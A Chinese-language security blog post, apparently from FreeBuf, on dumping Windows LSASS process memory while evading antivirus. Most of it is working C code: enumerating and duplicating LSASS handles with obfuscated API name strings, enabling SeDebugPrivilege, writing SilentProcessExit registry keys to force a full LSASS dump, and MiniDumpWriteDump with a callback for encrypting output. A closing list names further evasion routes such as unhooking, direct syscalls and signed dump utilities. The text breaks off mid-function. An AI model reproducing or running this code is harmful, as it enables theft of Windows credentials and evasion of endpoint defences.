freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

探索dumplsass的加密免杀
2024-05-23 23:42:38

前记

思路:直接dumplsass原文会被杀软删掉,通过hook WriteAll对dump的内容先加密再保存到磁盘并离线解密

项目已开源,该项目采用hook WriteAll+duplication,求个stars嘻嘻嘻

https://github.com/coleak2021/hidedump

hook WriteAll

调试过程

.sympath C:\symbols\local;srv*C:\symbols\microsoft*https://msdl.microsoft.com/download/symbols
.reload
x Dbgcore!MiniDumpWriteDump
bp MiniDumpWriteDump
g
p
bp NtWriteFile
g
k

image-20240522180235701.png

Taking a look at the backtrace produced once the execution flow arrives toNtWriteFile, we can see how the last call insidedbgcore.dll, before letting the OS take care of the file-writing process, is made from a function calledWriteAlllaying inside theWin32FileOutputProvider.

该函数未在dll中导出,因此只能通过偏移量拿到,E44F-1F=E430(offset = abs_address - base_address)

通过ida查看函数逻辑可以确定参数:

image-20240523001724770.png

arg1: File Handler
arg2: Buffer
arg3: Size

这里调试中发现MiniDumpWriteDump会分段多次调用WriteAll进行处理而不是一次性处理缓冲区的内容

duplication

  • 通过NtQuerySystemInformation来获取所有进程打开的句柄。

  • 使用具有PROCESS_DUP_HANDLE权限的OpenProcess打开进程。

  • 使用NtDuplicateObject来获取远程进程副本。

  • 再通过NtQueryObject来获取句柄的信息。

  • 最后通过QueryFullProcessImageName显示进程完整路径加以判断。

结构体

__kernel_entry NTSTATUS NtQuerySystemInformation(
  [in]            SYSTEM_INFORMATION_CLASS SystemInformationClass,
  [in, out]       PVOID                    SystemInformation,
  [in]            ULONG                    SystemInformationLength,
  [out, optional] PULONG                   ReturnLength
);

typedef struct _SYSTEM_HANDLE
{
    ULONG ProcessId;
    BYTE ObjectTypeNumber;
    BYTE Flags;
    USHORT Handle;
    PVOID Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG HandleCount;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
HandleCount:表示句柄的总数
Handles[1]:即是单个的句柄(同时其详细结构在_SYSTEM_HANDLE中)
在_SYSTEM_HANDLE中表示单个句柄的参数
ProcessId:进程标识符
ObjectTypeNumber:打开的对象的类型
Flags:句柄属性标志
Handle:句柄数值,在进程打开的句柄中唯一标识某个句柄
Object:这个就是句柄对应的EPROCESS的地址
GrantedAccess:句柄对象的访问权限

NTSYSCALLAPI NTSTATUS NTAPI
NtDuplicateObject(
    _In_ HANDLE SourceProcessHandle,
    _In_ HANDLE SourceHandle,
    _In_opt_ HANDLE TargetProcessHandle,
    _Out_opt_ PHANDLE TargetHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_ ULONG HandleAttributes,
    _In_ ULONG Options
);

NTSYSCALLAPI NTSTATUS NTAPI
NtQueryObject(
    _In_ HANDLE Handle,
    _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,//OBJECT_TYPE_INFORMATION
    _Out_opt_ PVOID ObjectInformation,
    _In_ ULONG ObjectInformationLength,
    _Out_opt_ PULONG ReturnLength
);

typedef struct _OBJECT_TYPE_INFORMATION
{
    UNICODE_STRING Name;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccess;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    USHORT MaintainTypeList;
    ULONG PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation, // obsolete...delete
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemMirrorMemoryInformation,
SystemPerformanceTraceInformation,
SystemObsolete0,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemVerifierAddDriverInformation,
SystemVerifierRemoveDriverInformation,
SystemProcessorIdleInformation,
SystemLegacyDriverInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation,
SystemTimeSlipNotification,
SystemSessionCreate,
SystemSessionDetach,
SystemSessionInformation,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemVerifierThunkExtend,
SystemSessionProcessInformation,
SystemLoadGdiDriverInSystemSpace,
SystemNumaProcessorMap,
SystemPrefetcherInformation,
SystemExtendedProcessInformation,
SystemRecommendedSharedDataAlignment,
SystemComPlusPackage,
SystemNumaAvailableMemory,
SystemProcessorPowerInformation,
SystemEmulationBasicInformation,
SystemEmulationProcessorInformation,
SystemExtendedHandleInformation,
SystemLostDelayedWriteInformation,
SystemBigPoolInformation,
SystemSessionPoolTagInformation,
SystemSessionMappedViewInformation,
SystemHotpatchInformation,
SystemObjectSecurityMode,
SystemWatchdogTimerHandler,
SystemWatchdogTimerInformation,
SystemLogicalProcessorInformation,
SystemWow64SharedInformation,
SystemRegisterFirmwareTableInformationHandler,
SystemFirmwareTableInformation,
SystemModuleInformationEx,
SystemVerifierTriageInformation,
SystemSuperfetchInformation,
SystemMemoryListInformation,
SystemFileCacheInformationEx,
MaxSystemInfoClass // MaxSystemInfoClass should always be the last enum
} SYSTEM_INFORMATION_CLASS;

typedef enum _OBJECT_INFORMATION_CLASS {
    ObjectBasicInformation,
    ObjectNameInformation,
    ObjectTypeInformation,
    ObjectAllInformation,
    ObjectDataInformation
} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS;
//注释
//ObjectBasicInformation 对应结构为:OBJECT_BASIC_INFORMATION
//ObjectNameInformation 对应结构为:OBJECT_NAME_INFORMATION
//ObjectTypeInformation  对应结构为:OBJECT_TYPE_INFORMATION
//ObjectAllInformation  对应结构为:   OBJECT_ALL_INFORMATION
//ObjectDataInformation对应结构为:  OBJECT_DATA_INFORMATION


WINBASEAPI BOOL WINAPI
QueryFullProcessImageNameW(
    _In_ HANDLE hProcess,
    _In_ DWORD dwFlags,
    _Out_writes_to_(*lpdwSize, *lpdwSize) LPWSTR lpExeName,
    _Inout_ PDWORD lpdwSize
    );

获取逻辑

#include <windows.h>
#include <stdio.h>
#include <wchar.h>

#define NT_SUCCESS(x) ((x) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004

#define SystemHandleInformation 16
#define ObjectBasicInformation 0
#define ObjectNameInformation 1
#define ObjectTypeInformation 2

typedef HANDLE(NTAPI* _NtOpenProcess)(
    DWORD dwDesiredAccess,
    BOOL  bInheritHandle,
    DWORD dwProcessId
    );

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );
typedef NTSTATUS(NTAPI* _NtDuplicateObject)(
    HANDLE SourceProcessHandle,
    HANDLE SourceHandle,
    HANDLE TargetProcessHandle,
    PHANDLE TargetHandle,
    ACCESS_MASK DesiredAccess,
    ULONG Attributes,
    ULONG Options
    );
typedef NTSTATUS(NTAPI* _NtQueryObject)(
    HANDLE ObjectHandle,
    ULONG ObjectInformationClass,
    PVOID ObjectInformation,
    ULONG ObjectInformationLength,
    PULONG ReturnLength
    );

typedef BOOL(NTAPI* _NtQueryFullProcessImageNameW)(
    HANDLE hProcess,
    DWORD  dwFlags,
    LPWSTR lpExeName,
    PDWORD lpdwSize
    );

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _SYSTEM_HANDLE {
    ULONG ProcessId;
    BYTE ObjectTypeNumber;
    BYTE Flags;
    USHORT Handle;
    PVOID Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG HandleCount;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef enum _POOL_TYPE {
    NonPagedPool,
    PagedPool,
    NonPagedPoolMustSucceed,
    DontUseThisType,
    NonPagedPoolCacheAligned,
    PagedPoolCacheAligned,
    NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;

typedef struct _OBJECT_TYPE_INFORMATION {
    UNICODE_STRING Name;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccess;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    USHORT MaintainTypeList;
    POOL_TYPE PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

PVOID GetLibraryProcAddress(const char * LibraryName, const char* ProcName) {
    return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
}

void ErrorExit(LPTSTR lpszFunction) {
    // Retrieve the system error message for the last-error code

    LPVOID lpMsgBuf;
    LPVOID lpDisplayBuf;
    DWORD dw = GetLastError();

    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER |
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        dw,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR)&lpMsgBuf,
        0, NULL);

    printf((const char*)lpMsgBuf);

    LocalFree(lpMsgBuf);
    LocalFree(lpDisplayBuf);
    ExitProcess(dw);
}

void ShowErr() {
    CHAR errormsg[100];
    FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), 0, errormsg, sizeof(errormsg), NULL);
    printf("ERROR: %s", errormsg);
}

HANDLE enum_lsass_handles() {
    char ntdll[] = { 'n','t','d','l','l','.','d','l','l',0 };
    char kernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l',0 };
    char qsysinfo[] = { 'N','t','Q','u','e','r','y','S','y','s','t','e','m','I','n','f','o','r','m','a','t','i','o','n',0 };
    char dupo[] = { 'N','t','D','u','p','l','i','c','a','t','e','O','b','j','e','c','t',0 };
    char qo[] = { 'N','t','Q','u','e','r','y','O','b','j','e','c','t',0 };
    char qfpi[] = { 'Q','u','e','r','y','F','u','l','l','P','r','o','c','e','s','s','I','m','a','g','e','N','a','m','e','W',0 };
    char op[] = { 'O','p','e','n','P','r','o','c','e','s','s',0 };

    _NtQuerySystemInformation ffNtQuery_SystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress(ntdll, qsysinfo);
    _NtDuplicateObject ffNtDuplicate_Object =(_NtDuplicateObject) GetLibraryProcAddress(ntdll, dupo);
    _NtQueryObject ffNtQuery_Object =(_NtQueryObject) GetLibraryProcAddress(ntdll, qo);
    _NtQueryFullProcessImageNameW ffNtQuery_FullProcessImageNameW =(_NtQueryFullProcessImageNameW) GetLibraryProcAddress(kernel32, qfpi);
    _NtOpenProcess ffNtOpen_Process = (_NtOpenProcess)GetLibraryProcAddress(kernel32, op);

    NTSTATUS status;
    PSYSTEM_HANDLE_INFORMATION handleInfo;
    ULONG handleInfoSize = 0x10000;
    ULONG pid;
    HANDLE processHandle;
    ULONG i;
    HANDLE lsass_handles = NULL;

    handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);

    // NtQuerySystemInformation won't give us the correct buffer size,
    //  so we guess by doubling the buffer size.
    while ((status = ffNtQuery_SystemInformation(
        SystemHandleInformation,
        handleInfo,
        handleInfoSize,
        NULL
    )) == STATUS_INFO_LENGTH_MISMATCH)
        handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

    // NtQuerySystemInformation stopped giving us STATUS_INFO_LENGTH_MISMATCH.
    if (!NT_SUCCESS(status)) {
        printf("NtQuerySystemInformation failed!\n");
        HANDLE tmp=NULL;
        return tmp;
    }

    for (i = 0; i < handleInfo->HandleCount; i++) {
        SYSTEM_HANDLE handle = handleInfo->Handles[i];
        HANDLE dupHandle = NULL;
        POBJECT_TYPE_INFORMATION objectTypeInfo;
        PVOID objectNameInfo;
        UNICODE_STRING objectName;
        ULONG returnLength;

        // Check if PID belongs to System
        if (handle.ProcessId == 4)
            continue;

        processHandle = ffNtOpen_Process(PROCESS_DUP_HANDLE, FALSE, handle.ProcessId);

        // Duplicate the handle so we can query it.
        if (!NT_SUCCESS(ffNtDuplicate_Object(
            processHandle,
            (void*)handle.Handle,
            GetCurrentProcess(),
            &dupHandle,
            PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
            0,
            0
        ))) {
            continue;
        }


        // Query the object type.
        objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
        if (!NT_SUCCESS(ffNtQuery_Object(
            dupHandle,
            ObjectTypeInformation,
            objectTypeInfo,
            0x1000,
            NULL
        ))) {
            continue;
        }

        UNICODE_STRING objectType = *(PUNICODE_STRING)objectTypeInfo;

        wchar_t path[MAX_PATH];
        DWORD maxPath = MAX_PATH;

        if (wcsstr(objectType.Buffer, L"Process") != NULL)
        {
            // Print handle, type and its PID

            ffNtQuery_FullProcessImageNameW(dupHandle, 0, path, &maxPath);
            if (wcsstr(path, L"lsass.exe") != NULL) {
                printf("[%#x] %S: %d %ws\n", handle.Handle, objectType.Buffer, handle.ProcessId, path);
                lsass_handles = dupHandle;
            }
        }
        free(objectTypeInfo);
    }
    free(handleInfo);

    return lsass_handles;
}
BOOL  EnableDebugPrivilege()
{
    HANDLE token_handle;
    LUID luid;
    TOKEN_PRIVILEGES tkp;
    //打开访问令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token_handle))
    {
        printf("openProcessToken error");
        return   FALSE;
    }
    //查询luid
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
        CloseHandle(token_handle);
        printf("lookupPrivilegevalue error");
        return   FALSE;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    //调整访问令牌权限
    if (!AdjustTokenPrivileges(token_handle, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        CloseHandle(token_handle);
        printf("adjust error");
        return   FALSE;
    }
    BOOL dwRet = ::GetLastError();
    if (ERROR_SUCCESS == dwRet)
    {
        printf("sucessful");
        return TRUE;
    }
    else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
    {
        printf("ERROR_NOT_ALL_ASSIGNED");
        return FALSE;
    }
}
int main() {
    EnableDebugPrivilege();
    enum_lsass_handles();
    return 0;
}

其他思路

SilentProcessExit

原理

促使WerFault.exe对Lsass进程进行内存转储,需要依靠一种被称为“静默进程退出”(SlientProcessExit)的机制,在以下两种情况下,该机制可以触发对特定进程的特殊动作,这里的特定进程可以理解为Lsass进程:

  • 特定进程调用ExitProcess()终止自身

  • 其他进程调用TerminateProcess()结束特定进程

在触发静默进程退出机制时,可被支持的几个动作包括:

  • 启动一个监控进程

  • 显示一个弹窗

  • 创建一个Dump文件

要对Lsass进程设置静默退出监控,需要提前对几个注册表项进行设置:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe\ 下的1个键值:
GlobalFlag - 0x200(FLG_MONITOR_SILENT_PROCESS_EXIT)

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe\ 下的3个键值:
ReportingMode - 0x2(LOCAL_DUMP);
LocalDumpFolder – DUMP文件被存放的目录,可自定义,默认为 %TEMP%\Silent Process Exit;
DumpType – 0x2(完全转储目标进程内存,MiniDumpWithFullMemory)

代码实现

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#define SavePath L"c:\\temp"

//获取lsass进程pid
DWORD FindProcessId() {
    PROCESSENTRY32 processInfo;
    processInfo.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }
    if (Process32First(snapshot, &processInfo)) {
        do {
            if (!_wcsicmp(L"lsass.exe", processInfo.szExeFile)) {
                CloseHandle(snapshot);
                return processInfo.th32ProcessID;
            }
        } while (Process32Next(snapshot, &processInfo));
    }
    CloseHandle(snapshot);
    return 0;
}

//修改注册表
int regedit() {
    HKEY hKey;
    LONG result;
    //创建并打开 "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" 子键
    result = RegCreateKeyEx(
        HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe",
        0,
        NULL,
        REG_OPTION_NON_VOLATILE,
        KEY_WRITE,
        NULL,
        &hKey,
        NULL
    );
    //添加 DumpType 类型为 REG_DWORD 的内容,数据为0x2
    DWORD dumpTypeValue = 0x02;
    result = RegSetValueEx(hKey, L"DumpType", 0, REG_DWORD, (const BYTE*)&dumpTypeValue, sizeof(DWORD));
    //添加 LocalDumpFolder 类型为 REG_SZ 的内容,数据为 c:\temp(SavePath)
    result |= RegSetValueEx(hKey, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)SavePath, sizeof(SavePath));
    //添加 ReportingMode 类型为 REG_DWORD 的内容,数据为0x2
    DWORD reportingModeValue = 0x02;
    result |= RegSetValueEx(hKey, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&reportingModeValue, sizeof(DWORD));
    RegCloseKey(hKey);

    //创建并打开 "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" 子键
    result = RegCreateKeyEx(
        HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe",
        0,
        NULL,
        REG_OPTION_NON_VOLATILE,
        KEY_WRITE,
        NULL,
        &hKey,
        NULL
    );
    //添加 GlobalFlag 类型为 REG_DWORD 的内容,数据为0x200
    DWORD globalFlagValue = 0x200;
    result = RegSetValueEx(hKey, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&globalFlagValue, sizeof(DWORD));
    RegCloseKey(hKey);
    return 0;
}

// 启用调试权限
void DebugPrivilege() {
    //打开进程访问令牌
    HANDLE hProcessToken = NULL;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hProcessToken);
    //取得SeDebugPrivilege特权的LUID值
    LUID luid;
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
    //调整访问令牌特权
    TOKEN_PRIVILEGES token;
    token.PrivilegeCount = 1;
    token.Privileges[0].Luid = luid;
    token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    //获取debug特权
    AdjustTokenPrivileges(hProcessToken, FALSE, &token, 0, NULL, NULL);
    CloseHandle(hProcessToken);
}

int main() {
    //提升令牌访问权限
    DebugPrivilege();

    //设置注册表
    regedit();

    //获取lsass进程pid
    DWORD processId = FindProcessId();

    //获取lsass句柄
    HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, processId);
    if (hProcess == INVALID_HANDLE_VALUE) {
        printf("OpenProcess() --err: %d\n", GetLastError());
    }

    //从ntdll中取RtlReportSilentProcessExit函数
    typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit)(
        HANDLE processHandle,
        NTSTATUS ExitStatus
        );
    HMODULE hModule = GetModuleHandle(L"ntdll.dll");
    RtlReportSilentProcessExit fRtlReportSilentProcessExit = (RtlReportSilentProcessExit)GetProcAddress(hModule, "RtlReportSilentProcessExit");

    //静默退出lsass
    NTSTATUS s = fRtlReportSilentProcessExit(hProcess, 0);
    if (s == 0) {
        printf("Lsass内存转储成功,保存路径:%S", SavePath);
    }
    CloseHandle(hProcess);
    CloseHandle(hModule);
}

minidumpCallback

回调处理dump进行加密处理

BOOL CALLBACK minidumpCallback(
	__in     PVOID callbackParam,
	__in     const PMINIDUMP_CALLBACK_INPUT callbackInput,
	__inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
	LPVOID destination = 0, source = 0;
	DWORD bufferSize = 0;

	switch (callbackInput->CallbackType)
	{
	case IoStartCallback:
		callbackOutput->Status = S_FALSE;
		break;

		// Gets called for each lsass process memory read operation
	case IoWriteAllCallback:
		callbackOutput->Status = S_OK;

		// A chunk of minidump data that's been jus read from lsass. 
		// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
		// We will simply save it to dumpBuffer.
		source = callbackInput->Io.Buffer;

		// Calculate location of where we want to store this part of the dump.
		// Destination is start of our dumpBuffer + the offset of the minidump data
		destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

		// Size of the chunk of minidump that's just been read.
		bufferSize = callbackInput->Io.BufferBytes;
		bytesRead += bufferSize;

		RtlCopyMemory(destination, source, bufferSize);

		printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize);
		break;

	case IoFinishCallback:
		callbackOutput->Status = S_OK;
		break;

	default:
		return true;
	}
	return TRUE;
}

后记

绕过驱动注册的句柄回调

The Windows kernel allows your driver to register a list of callback routines for thread, process, and desktop handle operations. This can be achieved through ObRegisterCallbacks

创建新的Lsass进程
复制现有Lsass句柄,即从其他进程中duplicate Lsass句柄
堆栈欺骗,将Dump程序自身的堆栈调用特征做伪装,使其看起来是一个合法的系统进程对Lsass句柄进行了复制
将Lsass进程句柄泄露(比如利用seclogon)等。

绕过hook

MiniDumpWriteDump heavily relies on the usage of the NtReadVirtualMemory system call that allows it to read memory of remote processes

syscall
Unhook
使用系统合法程序生成Lsass的dump文件

加密

minidumpCallback
hook WriteAll

白名单

  • Procdump.exe

  • SQLDumper.exe

  • createdump.exe

  • AvDump.exe

  • DumpMinitool

Process Security and Access Rights

  1. PROCESS_ALL_ACCESS: 进程的所有可能访问权限。

  2. PROCESS_CREATE_PROCESS: 需要创建一个进程。

  3. PROCESS_CREATE_THREAD: 需要创建一个线程。

  4. PROCESS_DUP_HANDLE: 需要使用 DuplicateHandle 复制句柄。

  5. PROCESS_QUERY_INFORMATION: 需要检索有关进程的一般信息,例如其令牌、退出代码和优先级。

  6. PROCESS_QUERY_LIMITED_INFORMATION: 需要检索有关进程的某些有限信息。

  7. PROCESS_SET_INFORMATION: 需要设置有关进程的某些信息,例如其优先级。

  8. PROCESS_SET_QUOTA: 需要使用 SetProcessWorkingSetSize 设置内存限制。

  9. PROCESS_SUSPEND_RESUME: 需要暂停或恢复进程。

  10. PROCESS_TERMINATE: 需要使用 TerminateProcess 终止进程。

  11. PROCESS_VM_OPERATION: 需要对进程的地址空间执行操作(VirtualProtectEx、WriteProcessMemory)。

  12. PROCESS_VM_READ: 需要在使用 ReadProcessMemory 的进程中读取内存。

  13. PROCESS_VM_WRITE: 需要在使用 WriteProcessMemory 的进程中写入内存。

权限提升

进程访问令牌权限提升的实现步骤较为固定。要想提升访问令牌权限,首先要获取进程的访问令牌,然后将访问令牌的权限修改为指定权限,但是系统内部并不直接识别权限名称,而是识别LUID值,所以需要根据权限名称获取对应的LUID值,实现进程访问令牌权限的修改。

#include <stdio.h>
#include <windows.h>
BOOL  EnableDebugPrivilege()
{
    HANDLE token_handle;
    LUID luid;
    TOKEN_PRIVILEGES tkp;
    //打开访问令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token_handle))
    {
        printf("openProcessToken error");
        return   FALSE;
    }
    //查询luid
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
        CloseHandle(token_handle);
        printf("lookupPrivilegevalue error");
        return   FALSE;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    //调整访问令牌权限
    if (!AdjustTokenPrivileges(token_handle, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        CloseHandle(token_handle);
        printf("adjust error");
        return   FALSE;
    }
    BOOL dwRet = ::GetLastError();
    if (ERROR_SUCCESS == dwRet)
    {
        printf("sucessful");
        return TRUE;
    }
    else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
    {
        printf("ERROR_NOT_ALL_ASSIGNED");
        return FALSE;
    }
}
int main()
{
    EnableDebugPrivilege();
    system("pause");
    return 0;
}

关于代码中的错误码可以参考

https://learn.microsoft.com/zh-cn/windows/win32/debug/system-error-codes

MiniDumpWriteDump

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")

// Function to get the Process ID (PID) by its name
int getPIDbyProcName(const wchar_t* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Get the first process entry in the snapshot
    if (Process32First(hSnap, &pe32) != FALSE) {
        // Iterate through the running processes to find the process with the specified name
        while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) {
            if (wcscmp(pe32.szExeFile, procName) == 0) {
                // Found the process with the matching name, store its PID
                pid = pe32.th32ProcessID;
                break;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

// Function to set a privilege for the current process
BOOL setPrivilege(LPCTSTR priv) {
    HANDLE token;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    BOOL res = TRUE;

    // Lookup the LUID (Locally Unique Identifier) for the specified privilege name
    if (!LookupPrivilegeValue(NULL, priv, &luid))
        res = FALSE;

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // Open the access token for the current process
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token))
        res = FALSE;

    // Enable the specified privilege in the access token
    if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp),NULL,NULL))
        res = FALSE;
    BOOL dwRet = ::GetLastError();
    if (ERROR_SUCCESS == dwRet)
    {
        printf("sucessful");
        return TRUE;
    }
    else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
    {
        printf("ERROR_NOT_ALL_ASSIGNED");
        return FALSE;
    }
    // Print status of the privilege enabling attempt
    printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv);
    return res;
}

// Function to create a memory dump of the lsass.exe process
BOOL createMiniDump() {
    bool dumped = false;
    int pid = getPIDbyProcName(L"lsass.exe");

    // Open a handle to the lsass.exe process with read and query information access rights
    HANDLE ph = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, pid);

    // Create a file handle to the output file for the memory dump
    HANDLE out = CreateFileA("lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    // Check if both process and file handles are valid
    if (ph && out != INVALID_HANDLE_VALUE) {
        // Generate the memory dump of the lsass.exe process and write it to the output file
        dumped = MiniDumpWriteDump(ph, pid, out, (MINIDUMP_TYPE)0x00000002, NULL, NULL, NULL);

        // Print status of the memory dump operation
        printf(dumped ? "successfully dumped to lsaas.dmp :)\n" : "failed to dump :(\n");

        // Close the file and process handles
        CloseHandle(out);
        CloseHandle(ph);

        // Print the PID of the dumped lsass.exe process
        printf("dumped lsass.exe with PID %d\n", pid);

